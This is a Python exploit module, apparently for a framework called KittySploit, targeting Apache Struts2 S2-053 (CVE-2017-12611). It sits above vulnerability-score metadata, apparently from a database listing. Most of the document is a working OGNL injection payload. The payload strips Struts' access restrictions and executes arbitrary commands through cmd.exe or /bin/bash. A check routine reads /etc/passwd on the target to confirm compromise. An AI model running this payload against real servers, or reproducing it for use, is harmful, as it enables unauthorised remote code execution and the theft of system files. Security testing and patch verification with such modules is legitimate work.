Apache Struts2 S2-053 OGNL RCE (CVE-2017-12611)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 S2-053 Freemarker OGNL RCE (CVE-2017-12611)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Apache Struts2 S2-053 OGNL RCE (CVE-2017-12611)',
'description': (
'Exploits CVE-2017-12611 (S2-053) in Apache Struts 2 via Freemarker '
'tag OGNL injection in the name parameter.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2017-12611'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://struts.apache.org/docs/s2-053.html',
],
'tags': ['struts', 'apache', 'ognl', 'rce', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2017_12611_detect'],
},
},
}
def _ognl_payload(self, cmd: str) -> str:
safe = urllib.parse.quote(str(cmd))
raw = (
'%{(#[email protected]@DEFAULT_MEMBER_ACCESS).'
'(#_memberAccess?(#_memberAccess=#dm):'
'((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).'
'(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).'
'(#ognlUtil.getExcludedPackageNames().clear()).'
'(#ognlUtil.getExcludedClasses().clear()).'
'(#context.setMemberAccess(#dm)))).'
f'(#cmd=\'{cmd}\').'
'(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\')))'
'.(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).'
'(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).'
'(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}'
)
return f'/?name={urllib.parse.quote(raw, safe="")}'
def execute(self, cmd: str) -> str:
r = self.http_request(method='POST', path=self._ognl_payload(cmd), allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2017-12611 S2-053 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'No command output', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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05 Oct 2026 14:20Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 39.8
EPSS0.87123